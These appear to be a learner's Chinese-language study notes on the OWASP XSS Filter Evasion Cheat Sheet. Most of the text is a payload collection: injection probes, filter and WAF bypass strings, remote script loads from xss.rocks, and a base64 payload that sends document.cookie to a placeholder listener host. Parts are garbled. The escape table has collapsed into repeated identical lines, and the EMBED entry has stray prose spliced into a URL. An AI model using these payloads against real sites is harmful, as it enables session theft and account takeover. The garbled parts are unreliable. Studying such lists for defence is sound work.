这是我学习OWASP文章的一些笔记。
XSS
XSS,即跨站脚本攻击(Cross Site Scripting),恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS注入点判定
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
在输入点输入上述文本,如果弹窗XSS则存在XSS注入点
";!–"<XSS>=&{()}
在输入点输入上述文本,如果弹窗XSS则存在XSS注入点
无过滤绕过
现在的网站一般都会有针对XSS的过滤,但是也可以先试一试<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>看看是否有弹窗。
利用不常见标签进行过滤绕过
HTML有很多已废弃或者不常用的标签,很多都是只有某些版本的浏览器才支持显示。所以过滤的人可能不会考虑那么全面,就会存在绕过的可能。
'"><不常见标签>
</ 不常见标签>,已废弃标签举例:HTML marquee 元素(<marquee>) 用来插入一段滚动的文字。
<plaintext/onmouseover=alert(1)>
<img/id=”confirm(1)”/alt=”/”src=”/”onerror=eval(id)>’”>
通过在标签中触发JS事件
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="
javasc
ript:a
lert('
XSS')">
<IMG SRC=javascrip
t:alert(
'XSS')>
<IMG SRC=javasc
ript:a&
#0000108ert('X
SS')>
<IMG SRC=javascript:a
lert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
<SCRIPT SRC=//xss.rocks/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://xss.rocks/scriptlet.html <
\";alert('XSS');//
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<svg/onload=alert('XSS')>
Set.constructor`alert\x28document.domain\x29```
<BODY ONLOAD=alert('XSS')>
事件处理程序
- FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)
- onAbort() (当用户中止加载图片时)
- onActivate() (当对象激活时)
- onAfterPrint() (用户打印或进行打印预览后触发)
- onAfterUpdate() (从数据源对象更新数据后由数据对象触发)
- onBeforeActivate() (在对象设置为激活元素前触发)
- onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand("Copy")函数触发)
- onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)
- onBeforeDeactivate() (在当前对象的激活元素变化前触发)
- onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)
- onBeforePaste() (在用户被诱导进行粘贴前或使用execCommand("Paste")函数触发)
- onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用print()或execCommand("Print")函数).
- onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能关闭当前窗口)
- onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)
- onBegin() (当元素周期开始时由onbegin 事件立即触发)
- onBlur() (另一个窗口弹出当前窗口失去焦点时触发)
- onBounce() (当marquee对象的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)
- onCellChange() (当数据提供者的数据变化时触发)
- onChange() (select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发)
- onClick() (表单中点击触发)
- onContextMenu() (用户需要在攻击区域点击右键)
- onControlSelect() (当用户在一个对象上创建控件选中区时触发)
- onCopy() (用户需要复制一些东西或使用execCommand("Copy")命令时触发)
- onCut() (用户需要剪切一些东西或使用execCommand("Cut")命令时触发)
- onDataAvailable() (用户需要修改元素中的数据,或者由攻击者提供的类似功能)
- onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)
- onDataSetComplete() (数据源对象中所有数据可用时触发)
- onDblClick() (用户双击一个表单元素或链接)
- onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)
- onDrag() (在元素正在拖动时触发
- onDragEnd() (当用户完成元素的拖动时触发)
- onDragLeave() (用户在拖动元素离开放置目标时触发)
- onDragEnter() (用户将对象拖拽到合法拖曳目标)
- onDragOver() (用户将对象拖拽划过合法拖曳目标)
- onDragDrop() (用户将一个对象(例如文件)拖拽到浏览器窗口)
- onDragStart() (当用户开始拖动元素时触发)
- onDrop() (当拖动元素放置在目标区域时触发)
- onEnded() (在视频/音频(audio/video)播放结束时触发)
- onError() (在加载文档或图像时发生错误)
- onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)
- onFilterChange() (当滤镜完成状态变更时触发)
- onFinish() (当marquee完成滚动时攻击者可以执行攻击)
- onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)
- onFocusIn() (当元素将要被设置为焦点之前触发)
- onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)
- onHashChange() (当锚部分发生变化时触发攻击代码)
- onHelp() (攻击者可以在用户在当前窗体激活时按下F1触发攻击代码)
- onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)
- onKeyDown() (用户按下一个键的时候触发)
- onKeyPress() (在键盘按键被按下并释放一个键时触发)
- onKeyUp() (用户释放一个键时触发)
- onLayoutComplete() (用户进行完打印或打印预览时触发)
- onLoad() (攻击者在窗口加载后触发攻击代码)
- onLoseCapture() (可以由releaseCapture()方法触发)
- onMediaComplete() (当一个流媒体文件使用时,这个事件可以在文件播放前触发)
- onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发事件)
- onMessage() (当页面收到一个信息时触发事件)
- onMouseDown() (攻击者需要让用户点击一个图片触发事件)
- onMouseEnter() (光标移动到一个对象或区域时触发)
- onMouseLeave() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
- onMouseMove() (攻击者需要让用户将光标移到一个图片或表格)
- onMouseOut() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
- onMouseOver() (光标移动到一个对象或区域)
- onMouseUp() (攻击者需要让用户点击一个图片)
- onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)
- onMove() (用户或攻击者移动页面时触发)
- onMoveEnd() (用户或攻击者移动页面结束时触发)
- onMoveStart() (用户或攻击者开始移动页面时触发)
- onOffline() (当浏览器从在线模式切换到离线模式时触发)
- onOnline() (当浏览器从离线模式切换到在线模式时触发)
- onOutOfSync() (当元素与当前时间线失去同步时触发)
- onPaste() (用户进行粘贴时或攻击者可以使用execCommand("Paste")函数时触发)
- onPause() (在视频或音频暂停时触发)
- onPopState() (在窗口的浏览历史(history 对象)发生改变时触发)
- onProgress() (攻击者可以在一个FLASH加载时触发事件)
- onPropertyChange() (用户或攻击者需要改变元素属性时触发)
- onReadyStateChange() (每次 readyState 属性变化时被自动调用)
- onRedo() (用户返回上一页面时触发)
- onRepeat() (事件在播放完重复播放时触发)
- onReset() (用户或攻击者重置表单时触发)
- onResize() (用户改变窗口大小时,攻击者可以自动以这种方法触发:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
- onResizeEnd() (用户完成改变窗体大小时触发)
- onResizeStart() (用户开始改变窗体大小时触发)
- onResume() (当元素继续播放时触发)
- onReverse() (当元素回放时触发)
- onRowsEnter() (用户或攻击者需要改变数据源中的一行)
- onRowExit() (用户或攻击者改变数据源中的一行后退出时触发)
- onRowDelete() (用户或攻击者需要删除数据源中的一行)
- onRowInserted() (user or attacker would needto insert a row in a data source)
- onScroll() (用户需要滚动或攻击者使用scrollBy()函数)
- onSeek() (当用户在元素上执行查找操作时触发)
- onSelect() (用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
- onSelectionChange() (当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
- onSelectStart() (当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
- onStart() (在marquee 对象开始循环时触发)
- onStop() (当用户按下停止按钮或离开页面时触发)
- onStorage() (当Web Storage更新时触发)
- onSyncRestored() (当元素与它的时间线恢复同步时触发)
- onSubmit() (需要用户或攻击者提交表单)
- onTimeError() (用户或攻击者设置时间属性出现错误时触发)
- onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)
- onUndo() (用户返回上一浏览记录页面时触发)
- onUnload() (用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发)
- onURLFlip() (当一个高级流媒体格式(ASF)文件,由一个HTML+TIME(基于时间交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本)
- seekSegmentTime() (这是一个方法可以定位元素某个时间段内中的特定的点,并可以从该点播放。这个段落包含了一个重复的时间线,并包括使用AUTOREVERSE属性进行反向播放。)
这周的主要工作是接着上周的工作学习XSS攻击特征。我上网查阅资料(https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)学习了这部分知识。
常见XSS攻击列举
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073
\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053
\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N
1bWVudC5jb29raWU='))">
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<A HREF="//www.google.com/">XSS</A>
<A HREF="//google">XSS</A>
<A HREF="http://ha.ckers.org@google">XSS</A>
<A HREF="http://google:ha.ckers.org">XSS</A>
<A HREF="http://google.com/">XSS</A>
<A HREF="http://www.google.com./">XSS</A>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
<A HREF="http://www.google.com/ogle.com/">XSS</A>
字符转义表
下面是HTML和JavaScript中字符“<”的所有可能组合。其中大部分不会被渲染出来,但其中许多可以在某些情况下呈现出来。
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
绕过WAF可用字符串
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa
aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe
src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C
%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83">
<PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
Comments | NOTHING